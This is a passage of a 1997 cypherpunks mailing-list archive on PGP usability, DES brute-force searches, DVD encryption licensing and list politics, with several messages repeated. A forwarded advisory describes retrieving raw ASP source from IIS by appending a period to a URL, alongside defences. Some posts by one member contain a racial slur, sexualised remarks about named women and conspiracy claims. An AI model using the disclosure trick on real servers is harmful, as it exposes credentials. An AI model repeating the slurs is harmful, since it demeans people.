hijackers' peers; > take the next 12 citizens coming out the doors. > perfect and swift justice on someone who has no defense for his > actions. [heh heh] The people of L.A. really liked Gates, because he kept the peace. And they liked (Uncle) Tom Bradley just as well, since he kept the city really clean. No trash on the streets, no dirt, all the beautiful shrubs lining the freeways well-watered - you ought to see Hollywood since they started putting in the "subway" under Mayor Riordan. Anyone with any sense of pride at all would be aghast at what's happened. Streets caving in, wooden planks covering big holes on lots of streets that you have to drive over, it's a mess. Even a lot of the old stars on the Walk of Fame were badly damaged. Riordan must be a Communist, or Mafia or something. Funny that when he ran for mayor, his huge billboards all over town had his name in big letters, and the next-to-last letter (a) was replaced with a large red star, looking exactly like the ones they used under Mao. [remainder snipped] From dlv at bwalk.dm.com Thu Feb 20 06:58:44 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 20 Feb 1997 06:58:44 -0800 (PST) Subject: [CRYPTO] Dale Thorn Conspiracy Theory In-Reply-To: <330C09DD.14B2@gte.net> Message-ID: (When I got back from WashDC, there were close to 300 new e-mails, and I'm still digging through the old ones.) Dale Thorn writes: > Toto wrote: > > Dale Thorn wrote: > > > Igor Chudov @ home wrote: > > > > Take no offense, but why nobody thought about an obviously more likely > > > > conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to > > > > destroy cypherpunks. I personally find the above unlikely, but at least > > > > more likely than all other suggestions (which I think are an example > > > > of the delusion of grandeur). Is LD on this mailing list? Someone should invite him. > OTOH, I had an instant crush on Zoe Baird. It broke my heart when > those heartless bastards in the Senate didn't confirm her. You just > can tell when a babe like that can't get in, that the politicians > love the money better than the women. Must be a bunch of homosexuals. I think Kimba Wood is a fine judge. > Fruit of the Loom was one of the first undie mfrs. to go offshore, > possibly Taiwan, possibly to the Reds subcontracting off the island. > You realize that Chiang Kai-Shek(sp?) was either the first or 2nd > richest man in the world during and after WWII? Running guns, drugs, > and boxer shorts for the CIA/FOTL company. Did you know that did wife was Russian? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dthorn at gte.net Thu Feb 20 07:23:44 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 20 Feb 1997 07:23:44 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: <199702191924.MAA11906@infowest.com> Message-ID: <330C6C52.1DF7@gte.net> Greg Broiles wrote: > At 11:56 PM 2/19/97 -0800, Dale Thorn wrote: > >It's good if you don't read the L.A. Times. One of their lead editor- > >ializers (whores), a professor at USC law school named Erwin Chemerinsky, > >writes in relation to this subject "The federal government is an inde- > >pendent sovereign that cannot have its powers diminished by a state > >government's actions." (exact quote, 2/7/97). Either that's a load of > >BS doubletalk, or it's one of the more fascistic commentaries from the > >Times, which is usually bad enough. > Hey, don't forget to shoot the messenger. Chemerinsky's statement is a > concise summary of at least the last 70 years of double jeopardy > jurisprudence. The only thing that's unusual about the use of the "dual > sovereign" doctrine against the cops who beat King was that it's usually > used against ordinary citizens, not cops. Do you suppose it's possible > that some of the other evil conspiracies you see lurking behind every > bush are also just reflections of your own fears and misunderstanding? My background is not so much in conspiracy as it is in rational problem solving. Conspiracy is yet another model/filter with which to evaluate events, sometimes useful unless a person automatically rejects all of that and subscribes to the Elmer Fudd view of history. I understood clearly the (supposed) intent of the feds in retrying the Whites in the South who were beating up on Blacks and getting off with White juries - I just believe they would have served the people better by declaring mistrials or something instead of using the "dual sovereignty" BS, since a study of the Constitution and its preparatory papers shows the fathers clearly would have balked at this. One or more of the top feds also commented on the possibility of retrying Simpson in another criminal case, saying it was not possible under current law since it didn't have the same aspects as the Rodney King cops trials. However, that doesn't take anything away from the fact of a "democracy" run amok, in the hands of bozos like Michael Eisner and what's-his-schmuck at the L.A. Times, who are constantly beating the drums for revenge, so that the people will find "some way, somehow" to lynch people like Simpson, to "make him pay" for what he "so obviously" did to his victims. From dthorn at gte.net Thu Feb 20 07:35:09 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 20 Feb 1997 07:35:09 -0800 (PST) Subject: All Hail Emperor Lewis! (was: Re: status: shoppingplanet jan 20 In-Reply-To: Message-ID: <330C6F05.7ACB@gte.net> Toto wrote: > Dr.Dimitri Vulis KOTM wrote: > > These working examples also prove the other point I have found myself > > having to repeat... i.e. that anyone who posts to USENET news is trivially > > ``cullable'', and that E-mail spammers can have all of the E-mail addresses > > they could ever hope to use any day of the week. > Did you notice that when the 'censorship experiment' on the CypherPunks > list was abandoned, that Greg Broiles called for the list to be 'killed'? > Did you notice that when he was ignored, that he then changed his > postition to suggest that UseNet was the proper forum for continuing > the list? Life is too complicated, ya' know? I just wanna know who is this PATTI SHOCK person, who's allegedly calling for a moderation of some forum on Usenet. The way I see it, if she's a real babe, somebody should fix her up with some censored material just to keep her happy. Then just let some really mean, dirty material through once a month or so, just so she knows the process is working, and protecting her from all sorts of hideous stuff. OTOH, if she's a Chelsea Clinton look-alike, why bother? From bryce at digicash.com Thu Feb 20 07:43:50 1997 From: bryce at digicash.com (Bryce) Date: Thu, 20 Feb 1997 07:43:50 -0800 (PST) Subject: "cypherpunks is dead..." In-Reply-To: Message-ID: <199702201544.QAA07860@digicash.com> -----BEGIN PGP SIGNED MESSAGE----- A million monkeys operating under the pseudonym "Tim May " typed: > > (Getting PGP integrated into mailers > is stil bogged down, for reasons I have to believe have to do with > pressures from somewhere, else why would e-mail packages not make PGP > support painless?) Because PGP's user interface is yucky and its programmer interface is even worse. Amazing how people don't realize how much certain important things depend on such a (deceptively) simple concept as having a nice user interface and a nice programmer interface. In contradiction of certain cypherpunk urban legends, I suspect that such pedestrian details are far, far more important to the course of history than the clumsy and feckless machinations of government agencies. But for the good news, see the quote from Jim Bidzos in my ".plan". Regards, Zooko, Journeyman Interface Designer NOT speaking for any organizations or persons whose names might appear in the headers of this message, or who might occasionally toss me some spare change in return for my brilliant software design work. PGP sig follows -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2 iQB1AwUBMwxxPkjbHy8sKZitAQFkwwL+Pmpv70F4mN+G58gnZj0a8nH6omppzucN CxMSw2iFc/rBcCQGoNO1Bx42TEShypN4HyBqrR49NEkJhihZ4dSfQB2FGsTZyFE0 P9X2/Oy10AwqC9nu90n/Ct5Z+63wFB6P =CCQx -----END PGP SIGNATURE----- From trei at process.com Thu Feb 20 08:08:59 1997 From: trei at process.com (Peter Trei) Date: Thu, 20 Feb 1997 08:08:59 -0800 (PST) Subject: Cryptanalysis Message-ID: <199702201608.IAA15665@toad.com> > Date: Wed, 19 Feb 1997 08:16:46 -0800 > From: Bill Stewart > To: Scott Auge > Cc: cypherpunks at toad.com > Subject: Re: Cryptanalysis > At 11:21 AM 2/15/97 -0500, you wrote: > >Was wondering if anyone could help me with short explainations on the > >cryptanalysis of SKIPJACK and DES. If ya hit www.sauge.com/crypt you > >might get a better idea of what i'm trying to accomplish. > > Cryptanalysis of DES is a 25-year ongoing academic exercise, with > lots and lots of results. It's easy to attack it in 2**55 tries, > because of symmetry, but that's a very large number :-) Many people have made statements to the effect that the complement key property (if key K encrypts plaintext P to ciphertext C, then K' encrypts P' to C', where A' is the one's complement of A') of DES halves the work for a brute force attack, but these people don't seem to have ever tried to actually use this property - it's effectively useless. You still need to run the DES rounds, and the only win would be in the fact that preparing the key schedule of K' from the key schedule of K used to be easier than preparing it from K' directly. This is no longer a win, since preparing key schedule for (K+1) from the key schedule of K is just as easy. There's the possibility that I'm seriously dense (even Denning has made statements about halving the effort), but I just don't see it. [...] > The slow part of the attack _had_ been key scheduling, but recent work > by Peter Trei and others shows that you can do key scheduling very > efficiently for the brute-force keysearch problem by picking keys > in Gray Code order (since a one-bit change in key causes a simple > change in key-schedule - it's totally useless for normal encryption/ > decryption, but it's a big win for brute-force cracks.) It's not totally useless - if you're going to have to prepare a lot of different key schedules (say, for many session keys under IPSEC), it's still a win to OR together the key bit fanouts than to generate the key schedule by the traditional method. It trades a lot of upfront, one-time work for a later speedup. > There may be a distributed Internet crack using that approach, > though DES is still very inefficient on general-purpose computers and > works better on bit-twiddliing chips. There's one slowly shaping up, organized by the same people who did the RC5-48 crack. I'm still rooting for an uncoordinated search, which is already underway. Peter Trei trei at process.com PS: Is this the last message to cypherpunks actually about crypto? From dthorn at gte.net Thu Feb 20 08:57:44 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 20 Feb 1997 08:57:44 -0800 (PST) Subject: All Hail Emperor Lewis! (was: Re: status: shoppingplanet jan 20 Message-ID: <199702201657.IAA16244@toad.com> Toto wrote: > Dr.Dimitri Vulis KOTM wrote: > > These working examples also prove the other point I have found myself > > having to repeat... i.e. that anyone who posts to USENET news is trivially > > ``cullable'', and that E-mail spammers can have all of the E-mail addresses > > they could ever hope to use any day of the week. > Did you notice that when the 'censorship experiment' on the CypherPunks > list was abandoned, that Greg Broiles called for the list to be 'killed'? > Did you notice that when he was ignored, that he then changed his > postition to suggest that UseNet was the proper forum for continuing > the list? Life is too complicated, ya' know? I just wanna know who is this PATTI SHOCK person, who's allegedly calling for a moderation of some forum on Usenet. The way I see it, if she's a real babe, somebody should fix her up with some censored material just to keep her happy. Then just let some really mean, dirty material through once a month or so, just so she knows the process is working, and protecting her from all sorts of hideous stuff. OTOH, if she's a Chelsea Clinton look-alike, why bother? From dlv at bwalk.dm.com Thu Feb 20 08:57:46 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 20 Feb 1997 08:57:46 -0800 (PST) Subject: [CRYPTO] Dale Thorn Conspiracy Theory Message-ID: <199702201657.IAA16249@toad.com> (When I got back from WashDC, there were close to 300 new e-mails, and I'm still digging through the old ones.) Dale Thorn writes: > Toto wrote: > > Dale Thorn wrote: > > > Igor Chudov @ home wrote: > > > > Take no offense, but why nobody thought about an obviously more likely > > > > conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to > > > > destroy cypherpunks. I personally find the above unlikely, but at least > > > > more likely than all other suggestions (which I think are an example > > > > of the delusion of grandeur). Is LD on this mailing list? Someone should invite him. > OTOH, I had an instant crush on Zoe Baird. It broke my heart when > those heartless bastards in the Senate didn't confirm her. You just > can tell when a babe like that can't get in, that the politicians > love the money better than the women. Must be a bunch of homosexuals. I think Kimba Wood is a fine judge. > Fruit of the Loom was one of the first undie mfrs. to go offshore, > possibly Taiwan, possibly to the Reds subcontracting off the island. > You realize that Chiang Kai-Shek(sp?) was either the first or 2nd > richest man in the world during and after WWII? Running guns, drugs, > and boxer shorts for the CIA/FOTL company. Did you know that did wife was Russian? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From bryce at digicash.com Thu Feb 20 08:57:49 1997 From: bryce at digicash.com (Bryce) Date: Thu, 20 Feb 1997 08:57:49 -0800 (PST) Subject: "cypherpunks is dead..." Message-ID: <199702201657.IAA16261@toad.com> -----BEGIN PGP SIGNED MESSAGE----- A million monkeys operating under the pseudonym "Tim May " typed: > > (Getting PGP integrated into mailers > is stil bogged down, for reasons I have to believe have to do with > pressures from somewhere, else why would e-mail packages not make PGP > support painless?) Because PGP's user interface is yucky and its programmer interface is even worse. Amazing how people don't realize how much certain important things depend on such a (deceptively) simple concept as having a nice user interface and a nice programmer interface. In contradiction of certain cypherpunk urban legends, I suspect that such pedestrian details are far, far more important to the course of history than the clumsy and feckless machinations of government agencies. But for the good news, see the quote from Jim Bidzos in my ".plan". Regards, Zooko, Journeyman Interface Designer NOT speaking for any organizations or persons whose names might appear in the headers of this message, or who might occasionally toss me some spare change in return for my brilliant software design work. PGP sig follows -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2 iQB1AwUBMwxxPkjbHy8sKZitAQFkwwL+Pmpv70F4mN+G58gnZj0a8nH6omppzucN CxMSw2iFc/rBcCQGoNO1Bx42TEShypN4HyBqrR49NEkJhihZ4dSfQB2FGsTZyFE0 P9X2/Oy10AwqC9nu90n/Ct5Z+63wFB6P =CCQx -----END PGP SIGNATURE----- From dthorn at gte.net Thu Feb 20 08:57:56 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 20 Feb 1997 08:57:56 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702201657.IAA16269@toad.com> Greg Broiles wrote: > At 11:56 PM 2/19/97 -0800, Dale Thorn wrote: > >It's good if you don't read the L.A. Times. One of their lead editor- > >ializers (whores), a professor at USC law school named Erwin Chemerinsky, > >writes in relation to this subject "The federal government is an inde- > >pendent sovereign that cannot have its powers diminished by a state > >government's actions." (exact quote, 2/7/97). Either that's a load of > >BS doubletalk, or it's one of the more fascistic commentaries from the > >Times, which is usually bad enough. > Hey, don't forget to shoot the messenger. Chemerinsky's statement is a > concise summary of at least the last 70 years of double jeopardy > jurisprudence. The only thing that's unusual about the use of the "dual > sovereign" doctrine against the cops who beat King was that it's usually > used against ordinary citizens, not cops. Do you suppose it's possible > that some of the other evil conspiracies you see lurking behind every > bush are also just reflections of your own fears and misunderstanding? My background is not so much in conspiracy as it is in rational problem solving. Conspiracy is yet another model/filter with which to evaluate events, sometimes useful unless a person automatically rejects all of that and subscribes to the Elmer Fudd view of history. I understood clearly the (supposed) intent of the feds in retrying the Whites in the South who were beating up on Blacks and getting off with White juries - I just believe they would have served the people better by declaring mistrials or something instead of using the "dual sovereignty" BS, since a study of the Constitution and its preparatory papers shows the fathers clearly would have balked at this. One or more of the top feds also commented on the possibility of retrying Simpson in another criminal case, saying it was not possible under current law since it didn't have the same aspects as the Rodney King cops trials. However, that doesn't take anything away from the fact of a "democracy" run amok, in the hands of bozos like Michael Eisner and what's-his-schmuck at the L.A. Times, who are constantly beating the drums for revenge, so that the people will find "some way, somehow" to lynch people like Simpson, to "make him pay" for what he "so obviously" did to his victims. From trei at process.com Thu Feb 20 09:11:44 1997 From: trei at process.com (Peter Trei) Date: Thu, 20 Feb 1997 09:11:44 -0800 (PST) Subject: Cryptanalysis Message-ID: <199702201711.JAA16459@toad.com> > Date: Wed, 19 Feb 1997 08:16:46 -0800 > From: Bill Stewart > To: Scott Auge > Cc: cypherpunks at toad.com > Subject: Re: Cryptanalysis > At 11:21 AM 2/15/97 -0500, you wrote: > >Was wondering if anyone could help me with short explainations on the > >cryptanalysis of SKIPJACK and DES. If ya hit www.sauge.com/crypt you > >might get a better idea of what i'm trying to accomplish. > > Cryptanalysis of DES is a 25-year ongoing academic exercise, with > lots and lots of results. It's easy to attack it in 2**55 tries, > because of symmetry, but that's a very large number :-) Many people have made statements to the effect that the complement key property (if key K encrypts plaintext P to ciphertext C, then K' encrypts P' to C', where A' is the one's complement of A') of DES halves the work for a brute force attack, but these people don't seem to have ever tried to actually use this property - it's effectively useless. You still need to run the DES rounds, and the only win would be in the fact that preparing the key schedule of K' from the key schedule of K used to be easier than preparing it from K' directly. This is no longer a win, since preparing key schedule for (K+1) from the key schedule of K is just as easy. There's the possibility that I'm seriously dense (even Denning has made statements about halving the effort), but I just don't see it. [...] > The slow part of the attack _had_ been key scheduling, but recent work > by Peter Trei and others shows that you can do key scheduling very > efficiently for the brute-force keysearch problem by picking keys > in Gray Code order (since a one-bit change in key causes a simple > change in key-schedule - it's totally useless for normal encryption/ > decryption, but it's a big win for brute-force cracks.) It's not totally useless - if you're going to have to prepare a lot of different key schedules (say, for many session keys under IPSEC), it's still a win to OR together the key bit fanouts than to generate the key schedule by the traditional method. It trades a lot of upfront, one-time work for a later speedup. > There may be a distributed Internet crack using that approach, > though DES is still very inefficient on general-purpose computers and > works better on bit-twiddliing chips. There's one slowly shaping up, organized by the same people who did the RC5-48 crack. I'm still rooting for an uncoordinated search, which is already underway. Peter Trei trei at process.com PS: Is this the last message to cypherpunks actually about crypto? From rah at shipwright.com Thu Feb 20 09:29:53 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 20 Feb 1997 09:29:53 -0800 (PST) Subject: FWD: (CHANGE: NUVUPSY - Against the therapeutic state) Message-ID: Tell me what this has to do with cryptography, and I'll give you a nickle. Or, maybe not... ;-). Cheers, Bob Hettinga --- begin forwarded text Date: Thu, 20 Feb 1997 09:48:47 -0600 Reply-To: "Dr. Jeffrey A. Schaler" Sender: NEW-LIST - New List Announcements From: "Dr. Jeffrey A. Schaler" Organization: The American University Subject: CHANGE: NUVUPSY - Against the therapeutic state To: NEW-LIST at LISTSERV.NODAK.EDU NVVUPSY has moved to a new server and has a new E-mail address. NUVUPSY on LISTSERV at MAELSTROM.STJOHNS.EDU "Although we may not know it, we have, in our day, witnessed the birth of the Therapeutic State. This is perhaps the major implication of psychiatry as an institution of social control." (Thomas Szasz, 1963) NUVUPSY is a forum to share points of view critical of the "therapeutic state" and institutional psychiatry, and those supportive of contractual psychotherapy and psychiatry. We're interested in discussions concerning the relationship between liberty and responsibility and its implications for clinical, legal, and public policy. The list will serve to promote alternative views to explaining unwanted behaviors. Sociological perspectives on the medicalization of deviant behavior are welcome. Other topics for discussion include but are not limited to: The myth of addiction as a disease; the ideology of biological determinism; the obsolescence of the schizophrenia hypothesis; coerced treatment for addiction and First Amendment rights; criticism of psychiatric drug prescriptions; etc. NUVUPSY Board of Advisors include: Bruce K. Alexander, Phil Brown, Robert C. Carson, David J. Essex, Louis B. Fierman, Robert E. Haskell, Reid Klion, James C. Mancuso, Roberta Russell, Theodore R. Sarbin, Jeffrey A. Schaler, and Richard E. Vatz. Archives of NUVUPSY mail items are kept in monthly files. You may obtain a list of files in the archives by sending the command INDEX NUVUPSY in the BODY of e-mail to LISTSERV at MAELSTROM.STJOHNS.EDU (NUVU as in "new view", V=vee) To subscribe, send the following command in the BODY of mail to LISTSERV at MAELSTROM.STJOHNS.EDU SUBSCRIBE NUVUPSY yourfirstname yourlastname Owner: Jeffrey A. Schaler, Ph.D. jschale at american.edu Martin W. Smith mws at metis.no NUVUPSY List Coordinators ------- Use this information at your own risk. For more information and disclaimer send E-mail to LISTSERV at LISTSERV.NODAK.EDU with the command INFO NEW-LIST in the body. --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From sunder at brainlink.com Thu Feb 20 10:24:57 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Thu, 20 Feb 1997 10:24:57 -0800 (PST) Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP (fwd) Message-ID: =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian | "If you're gonna die, die with your|./|\. ..\|/..|sunder at sundernet.com|boots on; If you're gonna try, just |/\|/\ <--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/ ../|\..| "A toast to Odin, |you're gonna die, you're gonna die!" |.\|/. .+.v.+.|God of screwdrivers"| --Iron Maiden "Die With Your Boots on"|..... ======================== http://www.sundernet.com ========================= ---------- Forwarded message ---------- Date: Thu, 20 Feb 1997 11:39:01 -0600 From: Mark Joseph Edwards To: "'bugtraq at netspace.org'" Cc: "'ntbugtraq at rc.on.ca'" , "'ntsecurity at iss.net'" Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP MICROSOFT IIS AND ACTIVE SERVER ADVISORY Security Hole in ASP Discovered in Microsoft ASP February 20, 1997 DESCRIPTION A serious security hole was found in Microsoft's Active Server Pages (ASP) by Juan T. Llibre . This hole allows Web clients to download unprocessed ASP files potentially exposing user ids and passwords. ASP files are the common file type used by Microsoft's IIS and Active Server to perform server-side processing. HOW IT WORKS To download an unprocessed ASP file, simply append a period to the asp URL. For example: http://www.domain1.com/default.asp becomes http://www.domain1.com/default.asp. With the period appendage, Internet Information Server (IIS) will send the unprocessed ASP file to the Web client, wherein the source to the file can be examined at will. If the source includes any security parameter designed to allow access to other system processes, such as an SQL database, they will be revealed. DEFENSE There are two known ways to stop this behavior: 1.Turn read permissions off of the ASP directory in the Internet Service Manager. This may not be a practical solution since many sites mix ASP and HTML files. If your site mixes these files together in the same directories, you may want to segregate them immediately. Now and in the future, treat your ASP files like any other Web based executable, and keep them in separate directories wherein permissions can be adjusted accordingly. 2.Download this filter written by Christoph Wille Christoph.Wille at unileoben.ac.at which can be located at http://www.ntshop.net/security/tools/sechole.zip or from http://www.genusa.com/asp/patch/sechole.zip END OF ADVISORY From nobody at REPLAY.COM Thu Feb 20 10:42:28 1997 From: nobody at REPLAY.COM (Anonymous) Date: Thu, 20 Feb 1997 10:42:28 -0800 (PST) Subject: Why Digital Video Disks are late to market In-Reply-To: <199702182227.OAA12266@toad.com> Message-ID: <199702201652.RAA26679@basement.replay.com> > ... there apparently has been some speculation among the U.S. PC community > that Matsushita may be stonewalling on the software-licensing issue so that > it can establish its hardware-based decryption solution in the marketplace. The day it gets published in software is the day someone runs a disassembler on it. That's all there is to it. From laffra at ms.com Thu Feb 20 10:47:34 1997 From: laffra at ms.com (Chris Laffra) Date: Thu, 20 Feb 1997 10:47:34 -0800 (PST) Subject: Translating C++ to Java Message-ID: <199702201846.NAA16032@sar6.morgan.com> Hi, I hope the following information is of interest, otherwise please ignore... In August 1996 my book "Advanced Java" was published, and it still is one of the only books that is not only absolutely emphatic about the language, but in addition has a critical, honest, and objective look at Java. I am very happy with the reception of the book -- it is one of the Java best-sellers, especially considering the small intended target buyers segment (the more advanced Java programmer). Enclosed with the book is C2J, an automatic C++ to Java translator, written in C++ and requiring specific UNIX tools. My version of C2J was not very useful for a lot of people because of the requirements on the environment. I challenged the online community to look at the software and come up with a full Java version. I am happy to report that has happened. A student at PACE University in New York, Ilya Tilevich, took the challenge and did a really nice job in making C2J a full Java program. For more information, check out my personal home page at America Online: http://members.aol.com/laffra and download the zip file containing the Java class files and source code. I hope this information is useful for you, Chris Laffra. From snow at smoke.suba.com Thu Feb 20 11:18:31 1997 From: snow at smoke.suba.com (snow) Date: Thu, 20 Feb 1997 11:18:31 -0800 (PST) Subject: "cypherpunks is dead..." In-Reply-To: <199702200214.SAA04018@toad.com> Message-ID: <199702201937.NAA01962@smoke.suba.com> > At 3:37 PM -0500 2/19/97, Robert Hettinga wrote: > is stil bogged down, for reasons I have to believe have to do with > pressures from somewhere, else why would e-mail packages not make PGP > support painless?) There are several packages that do provide at least some level of PGP integration, but I have 2 very good reasons: 1) The "market place" isn't willing to pay for the additional work. 2) It isn't "sexy" enough to cause a programmer to want to add it to a mailer just for fun. From rah at shipwright.com Thu Feb 20 11:37:15 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 20 Feb 1997 11:37:15 -0800 (PST) Subject: "cypherpunks is dead..." In-Reply-To: <199702200214.SAA04018@toad.com> Message-ID: At 2:37 pm -0500 on 2/20/97, snow wrote: > > At 3:37 PM -0500 2/19/97, Robert Hettinga wrote: > > is stil bogged down, for reasons I have to believe have to do with > > pressures from somewhere, else why would e-mail packages not make PGP > > support painless?) Uh, that wasn't me. Sorry... Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From shommel at zoo.uvm.edu Thu Feb 20 11:43:56 1997 From: shommel at zoo.uvm.edu (Scott A. Hommel) Date: Thu, 20 Feb 1997 11:43:56 -0800 (PST) Subject: No Subject In-Reply-To: <199702201456.GAA14462@toad.com> Message-ID: For those of you who haven't seen this... "fake-web" document. A way hackers may easily get around things like SSL. http://www.cs.princeton.edu/sip/pub/spoofingDocumentWithLongUntypeableName.html ********************************* Scott A. Hommel President, New Paradigm Design, Inc. PGP key available at: http://paradigm-2.com/scott.html ********************************* From aba at dcs.ex.ac.uk Thu Feb 20 12:55:44 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Thu, 20 Feb 1997 12:55:44 -0800 (PST) Subject: DES search publicity (was Re: Cryptanalysis) In-Reply-To: <199702201608.IAA15665@toad.com> Message-ID: <199702192005.UAA01691@server.test.net> Peter Trei writes: > Bill Stewart writes: > > There may be a distributed Internet crack using that approach, > > though DES is still very inefficient on general-purpose computers and > > works better on bit-twiddliing chips. > > There's one slowly shaping up, organized by the same people who did > the RC5-48 crack. I'm still rooting for an uncoordinated search, > which is already underway. The people who did the RC5-48 crack over on , and , or at least one of them in particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU. I'm having a heck of a time talking him out of it. What does your software do with the key if it finds it? Attempt to email it RSA DS/email it to you/report it to user/other? Do you know how many people are running your uncoordinated breaking project? Are you keeping track of how many people have copies. (I suppose that not knowing how many people are running the client is a disadvantage with the uncoordinated approach.) I'm trying to get UK Computer shopper to include an uncoordinated DES searcher in their cover CD, along with a feature article on the challenge (I thought the possibility of winning $10,000 might be a large part of the interest factor for a reader). Don't know if they'll be interested yet. (What I'm keen on is the sheer size of the readership -- if 10% of that lot runs the software, something might happen fast!) Has anyone tried doing something similar in the US? Anyone with contacts with other PC magazine with CD/disk on front format, preferably with large readership, in UK, US, or other countries? For this kind of project, you'd need something with a simple windows interface and install script. I'd have thought a DES breaker which is installed in win3.1/win95 to always start at boot up, and consume free cycles (ie set to back off when the machine is doing other things). A screen saver with nice presentation would be one way to do this. Do any of the breakers do this? Are there clients from other breaks which could be adapted which do? I think someone wrote a screen saver based breaker after the SSL break? Adam ps Have there been any sightings of your code outside the US? Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where things often turn up, but I haven't seen it yet. -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 > ... there apparently has been some speculation among the U.S. PC community > that Matsushita may be stonewalling on the software-licensing issue so that > it can establish its hardware-based decryption solution in the marketplace. The day it gets published in software is the day someone runs a disassembler on it. That's all there is to it. From snow at smoke.suba.com Thu Feb 20 12:56:50 1997 From: snow at smoke.suba.com (snow) Date: Thu, 20 Feb 1997 12:56:50 -0800 (PST) Subject: "cypherpunks is dead..." Message-ID: <199702202056.MAA22487@toad.com> > At 3:37 PM -0500 2/19/97, Robert Hettinga wrote: > is stil bogged down, for reasons I have to believe have to do with > pressures from somewhere, else why would e-mail packages not make PGP > support painless?) There are several packages that do provide at least some level of PGP integration, but I have 2 very good reasons: 1) The "market place" isn't willing to pay for the additional work. 2) It isn't "sexy" enough to cause a programmer to want to add it to a mailer just for fun. From rah at shipwright.com Thu Feb 20 12:56:52 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 20 Feb 1997 12:56:52 -0800 (PST) Subject: "cypherpunks is dead..." Message-ID: <199702202056.MAA22488@toad.com> At 2:37 pm -0500 on 2/20/97, snow wrote: > > At 3:37 PM -0500 2/19/97, Robert Hettinga wrote: > > is stil bogged down, for reasons I have to believe have to do with > > pressures from somewhere, else why would e-mail packages not make PGP > > support painless?) Uh, that wasn't me. Sorry... Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From geer at OpenMarket.com Thu Feb 20 12:56:56 1997 From: geer at OpenMarket.com (Dan Geer) Date: Thu, 20 Feb 1997 12:56:56 -0800 (PST) Subject: DES and RSA crypto hardware from the free world Message-ID: <199702202056.MAA22496@toad.com> These chips look *very* promising. Who needs Clipper, or HP's Clipper-under-another-name, when you can get triple DES from the free world at prices like this? The critical thing is to get the horse out of the barn before the door is barred. Each and every one of these sorts of vendors has to establish use and distribution on a wide basis before governments of any stripe start locking down on domestic use. There is little time and, yes, I am a paranoid who hopes thereby to survive. --dan From laffra at ms.com Thu Feb 20 12:57:01 1997 From: laffra at ms.com (Chris Laffra) Date: Thu, 20 Feb 1997 12:57:01 -0800 (PST) Subject: Translating C++ to Java Message-ID: <199702202057.MAA22497@toad.com> Hi, I hope the following information is of interest, otherwise please ignore... In August 1996 my book "Advanced Java" was published, and it still is one of the only books that is not only absolutely emphatic about the language, but in addition has a critical, honest, and objective look at Java. I am very happy with the reception of the book -- it is one of the Java best-sellers, especially considering the small intended target buyers segment (the more advanced Java programmer). Enclosed with the book is C2J, an automatic C++ to Java translator, written in C++ and requiring specific UNIX tools. My version of C2J was not very useful for a lot of people because of the requirements on the environment. I challenged the online community to look at the software and come up with a full Java version. I am happy to report that has happened. A student at PACE University in New York, Ilya Tilevich, took the challenge and did a really nice job in making C2J a full Java program. For more information, check out my personal home page at America Online: http://members.aol.com/laffra and download the zip file containing the Java class files and source code. I hope this information is useful for you, Chris Laffra. From minow at apple.com Thu Feb 20 12:57:23 1997 From: minow at apple.com (Martin Minow) Date: Thu, 20 Feb 1997 12:57:23 -0800 (PST) Subject: Why Digital Video Disks are late to market Message-ID: <199702202057.MAA22509@toad.com> http://techweb.cmp.com/eet/news/97/942news/encryp.html To summarize, the Digital Video Disk standard contains an encryption standard for copyright and anti-piracy protection. however, "some U.S. PC and silicon vendors have just about abandoned hope of keeping to their revised launch schedules for DVD-enabled systems." ... as far as anybody knows, "none of the U.S. PC vendors today has a license to use the DVD-decryption algorithm" in software. "We all know the situation; we don't have a license," said Michael Moradzadeh, program manager of Intel's copy-protection task force. A solution may be in the offing within days. Some sources said late last week that Matsushita [who owns license rights] and key U.S. computer companies may resolve the software-licensing issues by the end of this week. The PC industry seeks amendments to the licensing-agreement language that would result in equivalent treatment of software- and hardware-based CSS decryption. ... there 